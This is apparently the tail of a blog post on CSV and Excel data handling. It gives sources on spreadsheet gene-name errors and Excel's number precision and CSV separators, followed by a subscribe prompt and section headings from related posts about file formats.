- Abeysooriya et al., “Gene name errors: Lessons not learned” — PLOS Computational Biology, 2021; the 30.9% follow-up
- Bruford et al., “Guidelines for human gene nomenclature” — Nature Genetics, 2020; the renaming (free full text)
- Microsoft on Excel’s floating-point precision — Excel follows IEEE 754 and stores 15 digits of precision
- Microsoft on leading zeros and large numbers — “any numbers past the 15th digit are rounded down to zero,” with a credit card as the example
- Microsoft on importing and exporting text files — the CSV list separator comes from Windows Region settings
I’d appreciate a follow. You can subscribe with your email below. The emails go out once a week, or you can find me on Mastodon at @[email protected].
Aug 19, 2026 Programming Data File-formats Csv Excel

Enjoyed this?

Programming

What the First Filter Misses

The Real Boundary Is the Tag, Not the File

It Is Still XML, So the Bomb Still Works

The Format Is Good, Actually

What To Do About It

Sources

The Header Is Legible

Two Libraries, Two Answers

The Single-File Database Is Three Files

What To Do About It

Sources

Read It From the Bottom

The Black Box Is a Rect

Doing It Properly and Still Losing

Hard to Get Right

What To Do About It

Sources

The Nineteen Bytes

The Header, and the Ghost of 1995

LZW Is Just Worse

The Format PNG Was Built To Replace

What To Do About It

Sources

The Number Is an Index, Not a Measurement

The Damage Is Mostly Not Where You Think

Generation Loss Converges

What the File Looks Like

What To Do About It

Sources

Same Header, Different Extension

The Box in the Wrong Place

Fragments Are the Actual Answer

What To Do About It

Sources

Two Kinds of Correct

The Entity System

The Bomb That Got Fixed

What the Rest of It Bought

What To Do About It

Sources

The Norway Problem

It Was Fixed in 2009

Everything Else That Isn’t a String

Two Ways to Weaponize the Convenience

What To Do About It

Sources

The Same Number, Three Answers

Duplicate Keys Are Legal

NaN Is Not JSON, and Python Emits It Anyway

Why a Small Spec Doesn’t Save You

What To Do About It

Sources

There Is No Standard

Where Does a Record End?

What’s the Delimiter?

Is the First Row a Header?

The Part That Destroys Data

The Gene Name Problem

What To Do About It

Sources